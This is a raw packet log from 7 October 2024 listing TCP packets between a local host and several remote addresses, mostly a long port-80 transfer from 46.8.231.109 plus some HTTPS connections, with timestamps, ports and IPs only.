Oct 7, 2024 19:33:21.565083981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565094948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565105915 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565110922 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565110922 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565123081 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565135002 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565145016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565155983 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565166950 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565169096 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565170050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565170050 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565180063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565191031 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565202951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565205097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565205097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565249920 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565249920 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565251112 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565264940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565274000 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565274954 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565282106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565288067 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565293074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565304995 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565316916 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565327883 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565339088 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565340042 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565347910 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565356970 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565361977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565372944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565385103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565397024 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565407991 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565418959 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565428972 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565428972 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565428972 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565433025 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565454006 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565454006 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565484047 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565495968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565512896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565514088 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565525055 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565536022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565536022 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565536976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565550089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565551043 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565562010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565567017 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565572977 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565581083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565592051 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565603018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565614939 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565625906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565633059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565633059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565633059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565633059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565649033 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565653086 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565690041 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565723896 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565737009 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565747976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565758944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565769911 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565779924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565784931 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565784931 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565893888 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565906048 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565922976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565928936 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565928936 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565936089 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565954924 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565956116 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565956116 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565973997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565974951 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.565989017 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.565999985 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566011906 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566023111 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566034079 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566045046 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566055059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566055059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566055059 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566061974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566068888 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566078901 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566092968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566099882 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566104889 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566108942 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566118956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566131115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566140890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566152096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566163063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566171885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566171885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566171885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566174030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566220999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566232920 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566242933 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566255093 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566260099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566260099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566260099 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566267967 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566279888 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566298008 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566308975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566319942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566329956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566330910 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566330910 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566330910 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566342115 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566353083 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566359997 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566365004 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566378117 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566387892 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566399097 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566411018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566426992 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566432953 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566432953 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566432953 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566442966 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566454887 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566473007 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566483974 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566489935 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566489935 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566489935 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566497087 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566519976 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566530943 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566534996 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566544056 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566545010 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566560030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566572905 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566612005 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566612005 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566612005 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566639900 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566651106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566662073 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566679001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566689968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566701889 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566713095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566720963 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566720963 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566720963 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566725016 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566737890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566749096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566760063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566778898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566791058 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566793919 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566793919 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566793919 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566803932 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566817999 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566827059 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.566831112 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566840887 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566865921 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.566896915 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.571717978 CEST	49771	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.571733952 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.572109938 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.572129965 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.572201014 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.572633982 CEST	49771	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.572639942 CEST	443	49771	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.574107885 CEST	49775	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.574122906 CEST	443	49775	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.574479103 CEST	49776	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.574498892 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.574558973 CEST	49776	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.575932980 CEST	49776	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.575953007 CEST	443	49776	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.710597038 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.715732098 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.770267010 CEST	443	49702	104.98.116.138	192.168.2.7
Oct 7, 2024 19:33:21.774049044 CEST	49702	443	192.168.2.7	104.98.116.138
Oct 7, 2024 19:33:21.776570082 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.777069092 CEST	49772	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.777107954 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.777479887 CEST	49772	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.777498007 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.880659103 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.880824089 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.880916119 CEST	49772	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.881108999 CEST	49772	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.881129980 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.881136894 CEST	49772	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.881143093 CEST	443	49772	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.883470058 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.883511066 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.883590937 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.883690119 CEST	49777	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.883697033 CEST	443	49777	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.885097980 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885113001 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885123968 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885134935 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885147095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885158062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885210037 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885214090 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.885214090 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.885270119 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.885365963 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885379076 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885390997 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885401964 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885409117 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.885413885 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885427952 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885463953 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.885463953 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.885463953 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.885490894 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885508060 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885519981 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885529995 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.885531902 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885545969 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885557890 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885569096 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885580063 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885591030 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885597944 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.885597944 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.885597944 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.885602951 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885617018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.885638952 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.886181116 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.886195898 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886251926 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.886279106 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886291027 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886302948 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886322975 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886333942 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886346102 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.886346102 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886346102 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.886360884 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886396885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.886396885 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.886559010 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886571884 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886583090 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886616945 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.886678934 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.886718035 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886729956 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886740923 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886754036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886789083 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.886789083 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.886823893 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886847019 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886858940 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886869907 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886879921 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886893034 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886903048 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.886903048 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.886904955 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886939049 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.886939049 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.886966944 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886979103 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.886990070 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.887001038 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.887012005 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.887022018 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.887029886 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.887029886 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.887037039 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.887051105 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.887084007 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.887084007 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.887089014 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.887100935 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.887104988 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.887116909 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.887129068 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.887140036 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.887151003 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.887161970 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.887165070 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.887165070 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.887214899 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.934014082 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.936302900 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.936335087 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.936669111 CEST	49773	443	192.168.2.7	13.107.246.45
Oct 7, 2024 19:33:21.936682940 CEST	443	49773	13.107.246.45	192.168.2.7
Oct 7, 2024 19:33:21.967017889 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967029095 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967040062 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967101097 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.967137098 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.967176914 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967189074 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967200041 CEST	80	49718	46.8.231.109	192.168.2.7
Oct 7, 2024 19:33:21.967223883 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.967241049 CEST	49718	80	192.168.2.7	46.8.231.109
Oct 7, 2024 19:33:21.967376947 CEST	80	49718	46.8.231.109	192.168.2.7
